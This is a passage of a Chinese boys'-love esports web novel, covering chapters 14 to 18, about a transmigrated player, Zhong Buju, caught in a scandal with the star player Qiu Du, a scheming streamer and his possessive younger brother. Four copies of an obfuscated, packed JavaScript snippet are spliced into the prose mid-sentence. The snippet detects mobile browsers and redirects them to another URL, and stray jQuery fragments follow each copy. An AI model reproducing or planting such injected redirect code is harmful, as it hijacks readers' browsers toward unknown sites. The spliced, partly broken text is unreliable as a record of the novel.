两个穿着制服的警察下车,从后座带下来两个女孩,低着头不发一言。
警察拨了电话,经理顶着滴水的鸡窝头,带着一群人从基地走出来。
钟不拘和邱浩也往警车走去,见状黄毛、小眼镜和胖子连忙把经理护在中间。
警察指了指两个女孩:“根据监控录像找到的,她们从小区外的垃圾站翻进来,所以才躲过了保安。”
另一个警察道:“都还没成年,已经联系了她们父母,应该很快就到。”
崔秘书清了清嗓子:“小姑娘们,做事情不要这么冲动呀。虽然你们都是未成年人,但是对事情也要有自己的判断,不要被有心人牵着鼻子走......”
短发女孩打断崔秘书,“钟不拘就是个贱人,他害得裘神打不了季后赛,我做鬼也不会放过他!”
长发女孩本来有点害怕,这下也鼓起勇气:“对!他就是个不自爱的贱人!爬Lock的床就是为了害他!”
邱浩忍不住了:“我不打女人,但你们说话也别太过火!”
短发女孩冷笑:“只有你们这种末流战队,才能养出这么贱的选手!我看你们永远进不了季后赛,垃圾!”
这话一出,BIG这边也骚动起来,警察严厉地瞪了两人一眼:
“你们虽然是未成年人,不会因为寻衅滋事被拘留,但是无论如何,还是需要赔礼道歉、赔偿损失。”
“希望你们明白,对于有严重不良行为的未成年人,法律也赋予了我们训诫的权利!”
警察此话一出,两人都吓得噤声。
过了一会,短发女孩收起乖张的表情:“好吧,那我道歉。”
警察对着人群张望:“钟不拘同志,请您过来一下。”
钟不拘这才从外围走近,一席乌发在阳光下黑得发亮,后背的伤口渗着血,更衬得肤色苍白。
几点红漆粘在眼角眉梢,却让他看起来并不狼狈,反而平添了风情,一双杏眼疏冷迷离,教人看不出情绪。
警察轻推了下女孩:“赶快道歉吧。”
看着他这副模样,短发女孩先是一愣,然后低声道:“对不起......”
“对不起,我没直接让你毁容!贱人!”
她突然暴起,警察不好对未成年用手铐,一时竟也拉不住她,眼瞅着她张着嘴就朝钟不拘咬去。
钟不拘还没来得及躲闪,突然身前冲出一个高大男人,女孩一口咬在了男人手臂上。
待她看清眼前人的脸,凶恶嚣张的表情彻底消失。
直到裘度抽出被咬出血的手臂,她还张着嘴满脸呆滞。
裘度看也没看她,侧过头觑着钟不拘,声音低哑:“没事吧。”
美人脸色苍白,睫毛轻颤,想必一定是吓傻了。
钟不拘还没开口,裘度又道:“别担心,我没事,不用害怕。”
钟不拘当然不担心,他甚至都不怕。
穿书前他被人送过藏着枕头的玩偶,收到过礼盒包装的死老鼠,还被疯狂的粉丝跟踪到过酒店的浴室。
这都是小场面。
钟不拘开口:“你......”
裘度立刻回答:“我现在也不能比赛,就想着来看看你,也商量下怎么配合调查,没想到正好赶上了。”
钟不拘瞟过他小臂上斑驳的齿印,声音轻柔:“你粉丝脾气还挺像你。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14987028|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
裘度的表情僵住了,颇为得意而抬起的眉头跳了两下。
“裘神,裘神!”短发女孩当场被警察制服,一面挣扎一面大喊:
“我们都支持你,你一定能回到赛场的!”
近距离看见偶像,长发女孩激动得满眼泪花:“老......Lock加油!”
裘度转过头,脸上又恢复一贯冷酷的表情:“嗯,我会回到赛场的。”
女孩激动得就要尖叫,裘度又道:“但是你们,不配看比赛。”
“给我有多远,滚多远。”
裘度的脸上像是结了一层霜。
崔秘书赶忙掏出手机,拍下了裘度挡在钟不拘身前英雄救美的场面,然后发给祁舜。
“祁总,怎么处理?还猎吗?”
......
半个小时后,女孩们的家长们赶到,当场赏了一人一个耳光,然后低声下气地赔了钟不拘和裘度的医疗费,以及基地的维修费用。
钟不拘接受了家长们的诚挚道歉,然后转身就要继续去擦墙。
他只想赶紧擦完,好回去训练。
刚推开基地大门,他就听见邱浩高亢的声音:“明明是我先来的!”
裘度压抑着不耐烦:“缺心眼吗,擦墙这种苦差事,有什么好抢的?”
邱浩不甘示弱:“前辈,您刚才都受伤了,还是赶紧休息吧。”
裘度一肚子火:“你也好意思说,要不是我,他都要被咬破相!”
邱浩:“你也好意思说,明明是你把我推开了!”
钟不拘站在门口,静静地听两人吵。
裘度实在被气得急了:
“我问你,那两段视频是不是你发的?别以为我看不出来,你就是害怕他抢你首发!”
钟不拘适时咳嗽一声,两人一齐安静了。
“别吵了。”他脸上血色恢复了些,一双杏眼又显得多情,目光游走在两人身上:
“你们两个一起吧。”
好像被勾了魂一样,裘度和邱浩卯足了劲,两个小时后别墅外墙洁白如新。
钟不拘坐在门前石阶上,看着尹宙一次次打来视频,他再一次次挂断。
原主闯下的祸,他不想牵扯太多人。早点解决,能够专心训练才好。
直到尹宙发来消息:“哥你再拒接我就报警了。”
钟不拘这才接通他的视频,画面里粉发少年俊朗的脸上阴云密布,活像一条被主人抛弃的狗。
“哥,回家吧,我养你。”尹宙难得言简意赅。
钟不拘:“说过很多次了,不行。”
尹宙眼眶一红:“这个狗日的电竞圈到底哪里好,我怎么看比娱乐圈都脏!”
“那个姓裘的贱人,到底哪里让你这么着迷?”
“他有的什么我没有,”尹宙越说越激动,“回家吧,他能给你我都能!”
刚擦完墙的裘度出现在钟不拘身后,他手里拿着一瓶水,顺势坐在钟不拘身边,强行挤进了镜头。
维持着紧绷的下颌线,裘度的语气难得温柔:“累了吧,喝点水。”
他把矿泉水瓶拧开盖,然后递给钟不拘。
15.绝世绿茶
“操——”
眉目锋利的男人入镜的瞬间,钟不拘眼疾手快挂断了视频,但那句斩钉截铁的粗口还是回荡在二人之间。
裘度高挺的鼻子几乎顶上他的侧脸,炽热的吐息撩过颈间,钟不拘接过水,麻利地往一旁挪了挪。
裘度利剑似的眉毛蹙起:“是你弟弟?”
尹宙的视频邀请源源不断,钟不拘直接关了机:“年纪小不懂事,见谅。”
裘度抿了抿唇:“我看综艺上他说,你们还住在一起。”
钟不拘不说话,裘度又问:“上次训练室那位,是你们的新老板?”
钟不拘甚至没侧脸看他,蝶翼似的睫毛眨了眨,催促道:“要聊视频的事情吗?”
虽然经历了被泼水、被拉黑,裘度还是不能接受钟不拘的冷淡态度。
两年来召之即来挥之即去的舔狗,几乎是所有圈内人的笑柄,也是他吹嘘和骄傲的资本,怎么在一夜之间,就变得如此冷漠?
难道是自己那方面不行?裘度看着这冰美人的脸,觉得不可能。
毕竟他最近每晚都梦到。
裘度声音压抑:“我们经理说,上边清朗行动抓得严,所以联盟也要做做样子。”
钟不拘这才瞥了他一眼:“所以不会禁赛太久?”
钟不拘这双眼,无论什么时候,总像是含着一汪春水。就这么淡淡地扫了一眼,裘度的心跳就乱了。
果然你还在乎我,这就是“欲擒故纵”。
裘度突然想起粉丝在钟不拘微博下的评论。
裘度眉头舒展了些:“不用为我担心,我可是联盟的摇钱树,他们不敢怎样。”
钟不拘舒了口气:“能赶上下赛季就好。”
裘度嘴角勾起:“我们商量好对策,应该能赶上季后赛。”
钟不拘无语。
裘度以为他默许,得寸进尺道:“现在他们担心的,无非是我们,乱搞。”
情不自禁地加重尾音,裘度的舌尖舔了下犬齿:“郁寻那边不用担心,斗虾会联系他直播澄清,我们只是网友见面。”
“至于我们,”他往钟不拘身边凑了凑,又闻到朝思夜想的冷香,“睡了一晚是事实,狡辩也不能服众,不如......”
“不如告诉他们,我是你男朋友。”
钟不拘闻言转过头,一双大而圆的杏眼望着裘度。
裘度的嘴角不自觉上扬,心脏也快跳出来了:“就是先假装,呃,谈恋爱,等调查结束,再......”
钟不拘:“你们战队有营养师吗?”
“啊?”裘度被他问愣了,“当然有啊,我们可是三冠王。”
钟不拘脸上笑意淡淡:“备赛期可以多吃核桃。”
裘度的眼神几乎是钉在钟不拘脸上,以前钟不拘经常对他笑,但那笑容谄媚轻浮,他看一眼都觉得恶心。
这还是那夜过后,他第一次看见钟不拘脸上出现笑意,虽然淡淡的,他却觉得好看极了。
他甚至没听清钟不拘的话,只呆呆道:“谢谢关心。”
钟不拘话锋一转:“你有没有想过,视频是谁发的?”
裘度心不在焉道:“肯定是和你有利益冲突的人,我看Mount就很可疑。”
想起邱浩和他抢着擦墙的殷勤模样,裘度更坚定他的判断:“你们正在考核,他担心你抢了首发。”
“第一段视频的角度,确实是选手大会那天,BIG的坐席。”
钟不拘不是没有想过这个可能,第一段视频发布当天,他就查找了原主手机里的选手大会邀请函。
裘度握紧拳头,英俊的脸上闪过一丝戾气:“就是因为做贼心虚,才对你那么殷勤。”
钟不拘不置可否,语气平静轻柔,猫爪似的挠过裘度的耳朵:
“Lock,我为什么会有你的房卡?”
“这......”
这就是裘度没想过的了。
他收到停赛调查的通知后,先是生了几小时闷气,和经理教练队友大吵一通。
然后就灵光一闪想到了假扮情侣的好点子,急匆匆地来找钟不拘了。
裘度:“到底是谁给你的?”
钟不拘:“对于那一晚,我没有任何记忆。”
裘度松了口气,确实不是因为他那方面不行。
钟不拘循循善诱:“所以,你应该在战队内部打听一下,房卡是谁在管理。”
裘度恍然大悟,连连点头。
钟不拘从石阶上起身:“今天谢谢你,我回去训练了。”
裘度第一次仰头看钟不拘,惊讶于怎么有人从死亡角度看依旧如此漂亮,尤其是鼻子,既挺拔又精巧,简直是艺术品。
他一把握住钟不拘的手腕,指尖划过皮肤触感细腻,他却舍不得像那天一样用力。
“今天的事,要怎么感谢我?”裘度声音低沉。
钟不拘瞟了一眼他的小臂,一块四方纱布包住伤口。队医说只是皮外伤不会影响比赛,就是记得要打狂犬疫苗。
钟不拘淡淡道:“狂犬疫苗的钱我出。”
......
晚饭过后,BIG进行队内训练赛。
钟不拘登录训练账户,却发现密码已经被修改过了。
他又试着登录直播账户,发现同样被锁住了。
工作人员解释说,按照经理的意思,训练和直播账户都是俱乐部的财产,他现在停赛调查结果悬而未决,俱乐部有权采取措施降低潜在损失。
于是钟不拘搬了板凳,坐在邱浩身后想要观赛。
邱浩耳朵还没来得及红,工作人员又匆匆赶来,说训练室情况是战队商业机密,调查结束前他同样不能旁观。
钟不拘无奈,只能登录原主的私人账户。刚一上线,裘度的消息立刻发了过来:
【作为感谢,把我从微信黑名单放出来。】
钟不拘:【每天不能超过十条消息。】
裘度:【?】
钟不拘直接开始单排。
等到一局终了,一看信箱裘度发来了足足二十条消息,和小说里的“高冷电竞男神”毫无关系,钟不拘觉得刚才应该说最多五条。
他刚准备一键清空信箱,裘度的最新消息弹了出来。
裘度:【靠,郁寻怎么直播搞你了?】
钟不拘回忆起小说中关于郁寻的描
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992363|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
述,他是一个技术稀烂但长相可爱的电竞主播。
纯洁、自卑、敏感、爱撒娇,每次嘟嘟小嘴,就能让裘度魂牵梦绕,让无数观众直呼老婆。
是完全和钟不拘相反的类型。
按照书中情节,在选手大会的敬酒视频曝光后,裘度和郁寻大吵一架,暧昧期的感情岌岌可危。
裘度为了自证清白,带郁寻去查看酒店录像,证明是“钟不拘”心怀不轨爬了他的床。
郁寻依然精神崩溃悲痛欲绝,因为即使如此,也不能证明他们什么也没干。
作为一本狗血耽美文,裘度提出处男的第一次总是很快,于是两人自然而然地滚了床单。
一番颠鸾倒凤不知天地为何物之后,和裘度灵肉交融的郁寻原谅了他。
在此后的一次直播里,有观众问起和裘度吵架的原因,郁寻“懵懵懂懂”地说漏了嘴,让“钟不拘”的爬床丑闻天下皆知,人人唾骂。
小说的原文是:
郁寻那双水汪汪的大眼睛仿佛随时能滴下泪来,圆润的小脸微微鼓起。他轻轻抽噎着,声音软糯得让人心疼:“裘哥说,他还是喜欢我这种清纯的,太轻浮的他嫌脏......”
紧接着,他那张原本天真无邪的小脸突然泛起一抹红晕。他轻轻咬了咬下唇,声音低得几乎听不见:“不过......我现在,也没有那么清纯啦......”
因为实在恶心,纵然钟不拘只关心书中的电竞情节,还是留下了难以磨灭的记忆。
在穿书以后,虽然裘度的态度剧变,但他同样发现,书里的狗血情节,似乎终究会以某种诡异的形式发生。
譬如那段被曝光的敬酒视频。
钟不拘把裘度从微信黑名单拉出来,对方秒回了一个直播链接。
钟不拘打开直播间,画面里正是两周前他在酒店碰见的羊毛卷少年。
郁寻眼泪汪汪:“裘哥不可能和他有什么的,之前我们一起排位,裘哥还说、还说......”
他咬了下嘴唇,又嘟了下嘴:“他不喜欢那种轻浮的人。”
弹幕飘过一片【宝贝别哭】【我要扇烂那个贱人的脸】以及【裘度你是眼瞎了吗这么可爱的宝贝不心疼】。
郁寻直播节奏把握得很好,看着弹幕的情绪被调动起来,终于图穷匕见:
“这件事,我和裘哥都是清白的,是有心人故意下套!”
至于这个“有心人”是谁,要是还听不出来可能就真要多吃核桃了。
“那天我去找裘哥逛街,在酒店遇到他,他还把队服的领口扯下来给我看......”
郁寻微微低头,正好在镜头里呈现出最无辜的表情:“他说是裘哥咬的,还问我羡不羡慕。”
【这是什么绝世绿茶,亲亲我的宝贝】
【靠,这已经不能算绿茶了,简直是活活的家禽,联盟还不封杀吗?】
【人家可是熟练工种,说不定也搞定了联盟老登呢】
郁寻的直播录屏,很快登上微博热搜,舆论的风向再一次转变了。
裘度还没来得及弄清谁给了“钟不拘”房卡,他就已经被撇了个干净,只留下钟不拘在漩涡中央。
16.澄清
直播间里郁寻的眼泪像断了线的珠子,分明是混淆黑白地指责钟不拘,愣是被演得楚楚可怜。
郁寻直播间的礼物炸得炫目,粉丝们都心疼死了,对他的安慰和对钟不拘的咒骂一直刷屏。
裘度的微信对话框一直显示输入中,屏幕倒映着钟不拘的脸,他长而密的睫毛投下一片阴影,饱满的唇瓣抿成一条直线。
他真切地意识到,在这个狗血小说之中,许多风波并不是隐忍避让就能独善其身。
想要保住训练和比赛的机会,他也不能永远置身局外。
正当此时,裘度斟酌很久之后,索性给他拨了个微信视频。
钟不拘拒接。
裘度:【打字说不清楚,你还只让我发10条。】
配上眼泪汪汪的小狗表情包。
裘度又打来,钟不拘再次挂断:【还剩6条,有话快说。】
二十分钟后,裘度慎之又慎地发来:
【运营禁止我直播和发微博,我没办法发声,你有什么主意吗?我想帮你。真的。】
钟不拘:【自己的事自己解决。】
“他爹的,真是给他脸了!”
裘度把手机倒扣在桌上,砰的一声巨响,整个训练室的人都不敢吭声。
他们都知道裘度脾气不好,这家伙出身官宦之家,人长得又高又帅,偏偏游戏技术还很出色,18岁出道就成了CPL冠军打野。
人生一路走来太过顺利,他22岁还是不知天高地厚的狂躁性格。
不过谁让他是俱乐部的摇钱树和首席大腿,大家再看不惯,也终究要让他三分。
一看裘度又要发作,众人纷纷朝林小双投去求助的眼神。
林小双这人脾气好,脑子又活络,可以说是VHG全队唯一能承受和裘度高强度沟通的人。
林小双也在看郁寻的直播,一脸困惑:“裘哥,郁寻这不是说得挺好吗?一下就还你清白了。”
裘度黑着脸,一双眼死死盯住手机,好像要用怒火把手机炼化了。
电脑屏幕上还放着郁寻的直播,控诉完毕钟不拘之后,他顶着一张通红的小脸开始直播游戏。
“谢谢大家的礼物,没关系的,小寻一直很坚强呀!要做大家的小太阳!”郁寻的声音黏黏糊糊的。
“嗯,今天还是播COW。”
“怎么不和Lock双排?裘哥他可是职业选手耶,一定也很忙吧,小寻不是那种喜欢打扰别人的人。”
话音刚落,裘度的手机就震动了一下。
以为是钟不拘开恩了,他急匆匆地拿起手机,一看却是郁寻的消息:
【裘哥,小寻刚才帮你澄清了哦!】
【哥哥不要担心,小寻不怕麻烦的,我只会心疼哥哥。】
【哥哥要不要一起双排?为了季后赛保持手感吖。】
裘度忍住破口大骂的冲动,差点把手机屏幕摁裂:【你不是说会帮我们澄清吗?】
郁寻:【哥哥可以看看我的直播录屏哦,现在已经登上热搜啦。】
郁寻发来一个链接,他刚控诉了钟不拘心存不轨,竟然马上就能注意到上了热搜,不可谓不“贴心”。
裘度不是心思细腻之人,但终究不是傻子,此刻无路如何能看出来郁寻是故意的。
林小双见裘度不说话,凑过来看了一眼,一脸直男道:
“你看郁寻人多好啊,处处为你着想,不比那个什么钟不拘强多了!”
裘度的眉头不耐烦地挑起,林小双顿时不敢吱声。
他没再回复郁寻,反倒换到和钟不拘的对话框,每个字都打得很郑重:【我有办法了。】
钟不拘没回。
看着他这副舔狗模样,林小双眉头深锁:“裘哥,玩玩就行了,你可别陷得太深。”
“钟不拘这人,在我看来就是想玩弄你的感情,蹭你热度呢!”
“钟不拘要玩弄我的感情?!”
裘度却好像听到什么好消息一般,本来还气得要死,突然嘴角却勾了起来。
林小双:“......”
遮沙避风了。
顶着诡异的微笑,裘度终于回复了郁寻:【好啊,一起双排啊。】
他直接给郁寻发了双排邀请。
直播间里,郁寻脸上绽放灿烂的笑容,连语气都甜丝丝的:“裘哥说想和我排位!”
说得像是裘度主动求他一样。
弹幕又是齐刷刷的【磕到了】【Lock还算不瞎】【让他好好补偿宝贝】。
排位载
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996698|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
入中,郁寻就迫不及待开口:
“裘哥裘哥,你想要玩什么呀?还是饕餮吗,我可以帮你抢哦!”
裘度的语气听起来也有笑意:“呵呵,都可以。”
郁寻这才把游戏音频接入直播间。
郁寻的小嘴又叭叭叭地说起来,让人觉得他和裘度交情甚笃,刚才对钟不拘的诋毁都是裘度授意的。
裘度不怎么回应,直到bp过后,他才开口:
“钟不拘的伤口是我咬的,你有什么意见吗?”
裘度语气还是带着笑意,以至于郁寻还得意地嘟着嘴,等反应过来后整张脸都僵住了。
裘度继续道:“不是他勾引,也不是有人下套,就是我自己想咬。”
他还本性难移地挑衅了一句:“你是不是真的羡慕呀?”
郁寻脸一下子红了:“可是那晚哥你喝醉了,就是他意图不轨......”
郁寻的声音越来越弱,裘度毫不留情:
“那晚你是在我们床底吗,知道得比我还清楚。”
郁寻的微信都快被经纪人敲爆了:【快下线,直接黑屏,别播了!】
郁寻看了一眼弹幕里铺天盖地的问号,知道要是现在下线,他的直播生涯可就毁了。
不仅和裘度的cp没炒成,还要背上造谣诋毁和嫉妒的骂名。
郁寻深吸一口气,维持着软糯的声音,旁敲侧击道:“裘哥,前几天我们主播培训,老师还特意提醒我们,最近清朗行动打得严,连主播圈都不放过。”
“老师说,如果私生活有不正当关系,可是很严重的......”
裘度沉默了,郁寻以为他终于明白了自己的良苦用心,脸上又恢复了些血色。
林小双也戳了下裘度:“他说得有道理,裘哥你都被停赛了,这也不是置气的时候。”
裘度舔了下唇,睥睨了直播间里自以为胜券在握的郁寻一眼。
林小双一看这架势,就产生不好的预感。
他还没来得及制止,就听见裘度用他醇厚的男低音道:“要是我说,我们没有不正当关系呢。”
裘度笑:“你怎么知道我们没在谈?”
郁寻的表情彻底僵住了。
十秒后,他的直播间突然黑屏。
17.恶犬
钟不拘也在郁寻的直播间。
突如其来的黑屏映出他的脸,饱满的唇瓣张开恰到好处的弧度,一双杏眼里写着惊讶。
裘度的莽撞和自大他都有亲历,但如此不顾后果地乱说一气,还是出乎他的意料。
这种人竟然就是CPL的最强打野,他觉得华国多年来S赛未尝一胜,倒也不全是运气。
正想着抗韩之路道阻且长,裘度的邀功消息倒是来得很快:
【哥帅不帅?】
钟不拘刚准备打出“蠢货”二字,就听身后传来膝盖撞击主机的闷响,随即有人质问:
“他,他说得是真的吗?”
不慌不忙地转过身,钟不拘看见邱浩青涩的脸上毫不遮掩的怒气,眼眶都泛着红。
他又侧了侧头,看见显示器上分明还在进行的游戏。
钟不拘的语气难得严厉:“你就是这么打训练赛的?”
邱浩朝他吼道:“训练赛个屁!我问你Lock刚才说得是不是真的!”
他一发作,其余队员纷纷停下训练,好奇地翻起微博,顿时“卧槽”声汇成一片。
“钟不拘”舔了裘度整整两年,竟然真的成了?
钟不拘不理会议论,只抬眼看着邱浩:“BIG的首发中单,训练赛还要偷看直播,不觉得好笑吗。”
钟不拘的顾左右而言他,让邱浩情绪更加崩溃:“什么首发中单,你难道看不出来我的心意?如果你跟我说你想要,我一定会让给你的!”
过去一周的训练赛里,即使钟不拘在一些场次顶替了他的首发位,他也没有丝毫怨言。
甚至连经理私下的百般警告劝诫,他也置若罔闻。下午还为了钟不拘,当众和经理撕破了脸。
邱浩觉得自己付出了很多,十八年来他没有这么在意过谁。
钟不拘叹了口气:“首发是实力说话,我并不需要你让。”
邱浩快要气疯了,他不明白钟不拘这人,长得一副这么多情勾人的样子,说起话来总像是像个木头。
那颗艳丽的脑袋里,怎么只有训练、实力、首发这几个词?
虽然是因为他精湛的操作,邱浩才对他有了最初的青睐,但是他对游戏不食人间烟火的专注,却快要逼疯他了。
更可恨的是,怎么偏偏裘度就能博得芳心?难道除了赛场,Lock的阴影还要在情场笼罩他?
正尴尬对峙间,钟不拘的手机适时震动起来,是裘度的视频邀请。
他理了理额前碎发,接通了视频。
裘度自以为帮钟不拘解决了巨大的危机,一张脸在屏幕里盛气凌人,嘴角还挂着胜利者的笑容。
“哟,你要怎么答谢我啊?”低沉的声音里夹杂着骄傲和挑逗。
钟不拘刚要张口,就听见邱浩大吼一声冲出了训练室。
不想影响其他人训练,钟不拘找出耳机带上。前脚走出训练室,果然听见裘度声音含笑:
“这人在发什么疯?”
钟不拘眸色淡淡:“你在发什么疯?”
裘度愣了两秒,提高的尾音夹带怒气:“你知不知道为了救你,我要失去多少粉丝,嗯?”
他一把搂过林小双的脖子,勒得对方闷哼一声,继续道:“就这家伙,刚才还骂你不如郁寻呢。除了我,还有几个人愿意帮你。”
林小双满脸通红,咬牙道:“裘,裘度你特么疯了吧。”
裘度又一下把他推开了。
钟不拘叹气:“你的一句气话,要牵扯太多人。一个谎言背后是上千个谎言。”
裘度得意:“我们睡过是事实,算什么谎言。”
他又道:“周末过来一起吃个饭,给他们都看看,这事不就成真了?”
再做点情侣该做的事,我也不会介意。
裘度嘴上说着救钟不拘,心里确实还有小心思,这些私心像是小猫的爪子,一下一下啃噬他的骄傲和耐心。
钟不拘却不领情,直截了当道:“你的房卡是谁给我的?”
裘度又愣住了,他本想着去找领队问问,但是被郁寻的直播一打断,就彻底抛之脑后了。
他不耐烦地扬起眉头,狡辩道:“......问题都解决了,这个还重要吗?”
钟不拘直接挂了视频。
透过监控室的屏幕,崔秘书看见钟不拘斜靠在门边的身影瘦削挺拔,弧度柔和的下颌微微扬起,一派置身事外的疏离淡漠。
这些高清摄像头,都是放假时新换的,队员们并不知情。
祁舜这人掌控欲太强,从大哥那抢过来的所有产业,都唯恐底下人有异心,高清监控批发了一大批。
此时此刻,崔秘书把训练室里邱浩的崩溃,以及门外钟不拘对裘度的冷淡,都听得清清楚楚。
裘度“公开恋情”的热搜一登顶,他就知道其中必有猫腻。裘度那样自以为是的毛头小子,怎么能降服这种妖孽?
他给祁舜当了十年秘书,这位少爷从十八岁起就心思深沉,丝毫没有同龄人情窦初开的迹象。
虽然长相堪比好莱坞男星,但他还真没见过祁舜对任何男男女女有过迷恋。
除了这个钟不拘。
他已经把裘度英雄救美的照片发给祁舜,但或许是美国还在凌晨,对方迟迟没有回复。
崔秘书想起白天被打脸的不爽,自作主张把这段视频删除了。
小祁总,您也该着急咯。
崔秘书哼着小曲,正准备下班,突然接到警务室打来的紧急电话。
“崔总,有个粉头发男的,非要进来找钟不拘。”自从被裘度粉丝闯入之后,BIG俱乐部的安防措施抓紧不少。
保安无奈道:“我和他说了,现在是休息时间,访客不能......”
清亮到尖利的男声直冲耳膜:“我是他弟弟,我不是访客!你们这些......”
“诶诶诶怎么让他跑了!”保安惊叫,紧接着警铃声响起,整个基地又乱成一片。
崔秘书匆匆下楼时,尹宙已经冲到训练室门口。
尹宙好像刚结束拍摄就冲了过来,脸上妆都没卸,头发上的闪粉在光照下像个灯球。
不知是否是化妆的缘故,他一双眼既圆且亮,像是要被主人抛弃的小狗:
“哥,求求你和我回家吧。”
尹宙一把
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15011776|160825||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
握住钟不拘纤细的手腕,白皙的皮肤上登时出现一道红痕。
钟不拘被他拽了个趔趄,后背的伤口也被扯得生疼,皱眉道:“尹宙,松开。”
尹宙看着心疼,但却更用力了些:
“哥你跟裘度睡了是吗?你还要跟他谈恋爱?他以前怎么折辱你都忘了!”
钟不拘语气既轻且冷:“没有。”
两人离得很近,他甚至看见尹宙的嘴角在抽搐:
“那天我兴高采烈地来接你,想告诉你我的访谈内容全是关于你,想告诉你我们不用那么穷了......”
尹宙如梦初醒,委屈极了:“你一夜之间变得这么冷漠,就是因为,终于和裘度睡了是吗......”
钟不拘含水的眼眸里带上一点冰渣:
“尹宙,我说过很多遍了,不要影响我训练,好吗?”
“Freeman,你这话说得就不对了。”
警报声惊动了整个基地,连同消失一整晚的经理,也不知何时收拾好仪容,出现在走廊。
或许是邱浩不在,经理笑得愈发得意:“虽然有Lock帮你澄清,但你还在停赛调查,是没办法训练的。”
见钟不拘神色淡漠,他又补充一句:“做没做亏心事,可不是Lock一句话就能说清。”
“裘度说不清,你这个老登难道就能说清?”
钟不拘还没反应,尹宙倒是恶狠狠地瞪了他一眼,像一只亮出牙齿的恶犬。
“年轻人,脾气不要都这么大,很容易吃亏的。”经理惯会摆出长辈的姿态:“我能不能说清,我自有把握。”
眼见尹宙还要和经理斗嘴,钟不拘用食指轻轻扣了下他的手背;“尹宙。”
尹宙仿佛接到主人命令的小狗,挖苦的话到了嘴边又硬生生咽了回去。
他低头摩挲着钟不拘泛红的手腕,连带着声音小了许多:“哥,求你了,我们回家吧。”
但钟不拘不动。
尹宙抬眼,正对上那双既多情又冷淡的眼睛,都不用钟不拘开口,他就知道他想说什么。
“哥,对不起。”
尹宙松开了钟不拘的手腕。
钟不拘刚松了口气,却见尹宙俯下身来,一手揽住他的腰,另一手穿过他的膝弯,轻松地将他打横抱了起来。
钟不拘身体骤然腾空,只能下意识抓住尹宙的肩膀,混杂着汗水和橘子香水的味道闯进鼻腔,他听见尹宙的心跳很乱。
任凭钟不拘如何挣扎,尹宙充耳不闻,一双手枷锁似的囚住他,转身朝门外走去。
路过经理时,只听得对方冷哼一声:
“走出这个门,不知道什么时候能回来咯。”
尹宙脚步不停,径直走到基地的花园门口,才察觉到左手上有温热粘稠的液体流过。
昏黄灯光下,血痕顺着怀中人瘦削的脊背渗出来,尹宙声音很轻:“哥你怎么受伤了?”
钟不拘疼得皱起眉,语气难得生冷:“放我回去。”
尹宙没松开那只浸了血的手,小狗似的眼睛又圆又亮,对着钟不拘眨巴两下:
“哥,你的血闻起来是甜的。”
18.训犬
直到把钟不拘放上保姆车的后座,再斩钉截铁地关了车门,尹宙才松开揽住钟不拘的腰的手。
他混迹娱乐圈,本来就对身材严加管控,但哥哥的腰还是比他的细了许多。
不仅细,还很软,活像是抱了一只血统名贵的品种猫。
尹宙恋恋不舍地松开手,手掌被血沁成深红,浓郁的血液味道顿时充满车厢,经纪人王姐捂着鼻子,尖声尖气问道:
“尹宙,你才刚红了没两天,就闯出这么大祸?”
尹宙嗅了嗅手上的血腥味,又微不可见地探出舌尖尝了一下,这才抽出纸巾擦了手。
是寻常的血腥味,但尹宙还是觉得有点甜腻。
他一双小狗眼亮亮地眨了两下,十分讨巧:“王姐,您想什么呢?我哥被人欺负受伤了,我这是去救他。”
他又探头对司机道:“刘哥,我们先去最近的医院,麻烦您了。”
等到保姆车平稳驶离别墅区,尹宙才低眉顺眼地凑近钟不拘:“哥哥,求你别生我的气,我这都是为了你好。”
钟不拘任凭长发散乱遮住侧脸,一双眼凝视着窗外,看起来无悲无喜,像是一尊精美的雕塑。
尹宙又试探着去抓他的手,手指都是冰凉的。
钟不拘没有躲开他,冰凉的手指连蜷起的弧度都未改变,就好像他们处于不同的时空。
尹宙把钟不拘的手捧在掌心,像是要用体温把这尊雕塑捂暖。
